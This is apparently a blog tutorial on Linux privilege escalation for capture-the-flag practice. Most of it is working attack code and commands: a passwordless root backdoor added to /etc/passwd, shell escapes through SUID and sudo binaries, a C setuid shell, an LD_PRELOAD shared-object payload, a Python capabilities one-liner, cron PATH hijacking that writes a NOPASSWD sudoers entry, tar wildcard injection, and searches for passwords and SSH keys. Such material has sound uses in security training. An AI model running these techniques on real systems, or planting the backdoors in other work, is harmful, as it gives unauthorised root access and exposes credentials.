Linux exploitation often boils down to what files are you able to read and write to, and do these files have any bearing on the security of the system.
A number of privilege escalation techniques are covered in this article, including:
- Basic Enumeration
- Automated Enumeration
- Kernel Vulnerabilities
- Files Containing Passwords
- Weak Permissions
- Creating an /etc/passwd backdoor
- SSH Key Access
- SUID Escalation
- SUDO Escalation
- Sudo LD_PRELOAD Exploitation
- Linux Capabilities Exploitation
- Cron Job Exploitation
- Cron Path Exploitation
- Shell Expansion Exploitation
Basic Enumeration
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | # Hostname hostname # Kernel version uname -a # Show running processes ps aux # List users cat /etc/passwd # Check Bash history cat $HOME/.bash_history # Check IP addressing ip a # Check routing ip route # Check ARP mapping ip neigh arp -a # Show listening network services ss -ltpn # Search for passwords in files fgrep --color -Rsi "password" * # Search for files with password in the name find / -iname *password* 2> /dev/null # Find SSH keys find /home -iname id_rsa |
Automated Enumeration
Tool | Notes | URL |
LinPEAS | Probably the most comprehensive. | https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS |
LinEnum | May find some items missed by LinPEAS. | https://github.com/rebootuser/LinEnum |
Linux Exploit Suggestor | Useful for identifying Kernel vulnerabilities | https://github.com/mzet-/linux-exploit-suggester |
Linuxprivchecker.py | Python based | https://github.com/sleventyeleven/linuxprivchecker |
PSpy | Monitors processes executing, such as cron jobs | https://github.com/DominicBreuker/pspy |
Kernel Vulnerabilities
Linux exploit suggester can be ran to determine potential vulnerabilities based on the running Kernel version:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | . /linux-exploit-suggester .sh Kernel version: 2.6.32 Architecture: x86_64 Distribution: debian Package list: from current OS Possible Exploits: [+] [CVE-2010-3301] ptrace_kmod2 Details: https: //www .exploit-db.com /exploits/15023/ Tags: debian=6,ubuntu=10.04|10.10 Download URL: https: //www .exploit-db.com /download/15023 [+] [CVE-2010-1146] reiserfs Details: https: //www .exploit-db.com /exploits/12130/ Tags: ubuntu=9.10 Download URL: https: //www .exploit-db.com /download/12130 [+] [CVE-2010-2959] can_bcm Details: https: //www .exploit-db.com /exploits/14814/ Tags: ubuntu=10.04 Download URL: https: //www .exploit-db.com /download/14814 [+] [CVE-2010-3904] rds Details: http: //www .securityfocus.com /archive/1/514379 Tags: debian=6,ubuntu=10.10|10.04|9.10,fedora=16 Download URL: https: //www .exploit-db.com /download/15285 |
The below example shows the DirtyCow vulnerability being triggered:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | user@debian:~$ gcc -pthread . /c0w .c -o c0w user@debian:~$ . /c0w (___) (o o)_____/ @@ ` \ \ ____, //usr/bin/passwd // // ^^ ^^ DirtyCow root privilege escalation Backing up /usr/bin/passwd to /tmp/bak mmap f00ae000 madvise 0 ptrace 0 user@debian:~$ passwd root@debian: /home/user # whoami root |
Files Containing Passwords
Passwords may be stored in unprotected configuration files. You can search for these using:
1 2 | grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null find . - type f - exec grep -i -I "PASSWORD" {} /dev/null \; |
Weak Permissions
Find files the current user can read or write to. Readable files may contain credentials. Writeable files of interest include Bash and Python scripts we can edit, that may be run by other users on the system:
1 2 | find / - type f -readable find /etc - type f -writable |
Creating an /etc/passwd backdoor
If you are able to modify /etc/passwd, you can add in a new root user without a password. An account entry in /etc/password typically looks like this:
1 | user:x:1000:1000:user,,,:/home/user:/bin/bash |
The “x” character designates the users password is stored in /etc/shadow. The following two numbers are the user ID (UID) and group ID (GID) respectively.
If we create a new user without the “x” character, no password will be set. Setting the UID/GID to zero will also allow us to assume root privileges:
1 | echo "backdoor::0:0:backdoor,,,:/root:/bin/bash" >> /etc/passwd |
1 2 3 | su backdoor root@edgecrusher: /home/user # id uid=0(root) gid=0(root) groups =0(root) |
SSH Key Access
If SSH keys are not properly protected by filesystem permissions, it may be possible to use them to SSH into the system locally.
1 2 3 4 | find / -name id_rsa 2> /dev/null cp /backups/supersecretkeys/id_rsa . chmod 400 id_rsa ssh -i id_rsa root@127.0.0.1 |
SUID Escalation
SetUID binaries will run in the context of another user. This is typically the root user.
The find command can be used to locate SetUID binaries. In general we’re looking for executables that don’t normally have SetUID permissions. In this instance, nmap has has these permissions so will be run as root.
1 2 3 4 5 6 7 8 9 | find / -perm -u=s 2> /dev/null /usr/bin/nmap /usr/bin/chsh /usr/bin/sudo /usr/bin/get_logs /usr/bin/newgrp /usr/bin/sudoedit /usr/bin/passwd /usr/bin/gpasswd |
We can exploit this configuration, by running nmap interactively and specifying a command:
1 2 3 4 5 6 | user@debian:~$ nmap --interactive Starting Nmap V. 5.00 ( http://nmap.org ) Welcome to Interactive Mode -- press h <enter> for help nmap> !/bin/sh bash-4.1$ id uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user) |
Sudo Escalation
Sudo escalation is similar to exploiting SetUID binaries.
First, we can check which commands our user is able to run using sudo:
1 2 3 4 5 6 7 8 9 | sudo -l User user may run the following commands on this host: (root) NOPASSWD: /usr/bin/find (root) NOPASSWD: /usr/bin/vim (root) NOPASSWD: /usr/bin/man (root) NOPASSWD: /usr/bin/less (root) NOPASSWD: /usr/bin/ftp (root) NOPASSWD: /usr/bin/nmap (root) NOPASSWD: /usr/sbin/apache2 |
Researching these commands with gtfobins, there are a number of ways we can escalate privileges.
For instance, vim running as root via sudo can be used to execute system commands:
1 2 3 | sudo vim -c ':!/bin/bash' id uid=0(root) gid=0(root) groups=0(root) |
A large number of commands can be exploited by just typing an exclamation mark, followed by the command you want to run. Some examples of this:
less can also be used to execute commands;
1 2 | sudo less /etc/passwd ! /bin/bash |
The man command can be used;
1 2 | sudo man man ! /bin/bash |
Also ftp;
1 2 | sudo ftp ftp > ! /bin/bash |
You get the gist
Other commands require setting certain command line parameters.
Apache can be used to read system files:
1 | sudo apache2 -f /etc/shadow |
The find command requires setting the exec parameter:
1 | find . - exec /bin/sh \; -quit |
If sudo if configured to allow executing an application that can be overwritten, it can be replaced with a simple shell binary. The following code can be used for this purpose.
1 2 3 4 5 6 7 8 9 | #include <unistd.h> int main( int argc, char **argv) { setuid(0); char * progname = "/bin/bash" ; argv[0] = progname; execve(progname, argv, NULL); } |
The code can be compiled with;
1 | gcc shell.c -static -o shell |
Sudo LD_PRELOAD Exploitation
If LD_PRELOAD is enabled, you will likely see the following when you run sudo -l
1 2 | Matching Defaults entries for user on this host: env_reset, env_keep+=LD_PRELOAD |
LD_PRELOAD loads a shared library before other code executes.
We can created a Linux shared object to be loaded using the following code:
1 2 3 4 5 6 7 8 9 | #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv( "LD_PRELOAD" ); setgid(0); setuid(0); system ( "/bin/sh" ); } |
Compile the code, and execute with:
1 2 | gcc -fPIC -shared -o shell.so shell.c -nostartfiles sudo LD_PRELOAD= /tmp/shell .so apache2 |
Linux Capabilities Exploitation
Linux capabilities allow software to execute with a certain set of rights which are normally reservered for the root user. For instance, an executable can be provided with the ability to capture packets without giving it the ability to read all files on the filesystem.
We can search for binaries with enabled capabilities with the following command:
1 2 | getcap -r / 2> /dev/null /usr/bin/python = cap_setuid+ep |
A capability of +ep means that all capabilities are permitted when the application starts.
In this specific example, since Python is running as root we can exploit this by running a shell one liner;
1 | /usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/bash")' |
Cron Job Exploitation
Cron job run tasks on a scheduled basis. In this example, reviewing the contents of /etc/crontab we can see a couple of Bash scripts are set to execute every minute.
1 2 3 4 5 6 7 8 9 10 11 12 | cat /etc/crontab SHELL= /bin/sh PATH= /home/user : /usr/local/sbin : /usr/local/bin : /sbin : /bin : /usr/sbin : /usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron .hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron .daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron .weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron .monthly ) # * * * * * root myscript.sh * * * * * root /usr/local/bin/upload .sh |
If we have write access to myscript.sh or upload.sh, we may be able to add code that executes when the cronjob is run.
Additional cron files may also be found. Running a recursive listing should show them all:
1 | ls -laR /etc/cron* |
Cron Path Exploitation
The top of the cron file specifies a path which is used to determine where executables should be run from.
1 2 3 | cat /etc/crontab SHELL=/bin/sh PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin |
In the previous example myscript.sh was not provided with an absolute path. Because of this, cron will check the path variable to determine where it should look for this file, starting with /home/user.
We can create /home/user/myscript.sh with the following contents:
1 | echo "chmod u+s /bin/dash" > myscript.sh ; chmod a+x myscript.sh |
Note, that later versions of bash may drop their privileges even with the SetUID flag set. In this instance, you can edit the script to add our user into sudoers file, allowing us to execute any command:
1 | echo "hacker ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers |
Shell Expansion Exploitation
Let’s say you have a script which runs regularly to perform a backup of files in a users home directory:
1 2 3 | #!/bin/sh cd /home/user tar czf /tmp/backup.tar.gz * |
The asterisk used in the tar command will be expanded by the Bash shell to include all files in the directory. However, we can exploit this condition by creating files with arguments that will be parsed by the tar command. We can do that by creating the following files:
1 2 | touch -- "--checkpoint=1" touch -- "--checkpoint-action=exec=sh shell.sh" |
When the backup is run, the contents of shell.sh will also be executed.
Closing Thoughts
This post covers a few common Linux privilege escalation techniques, which are common on Capture the Flag systems. I’ll add some additional techniques over time.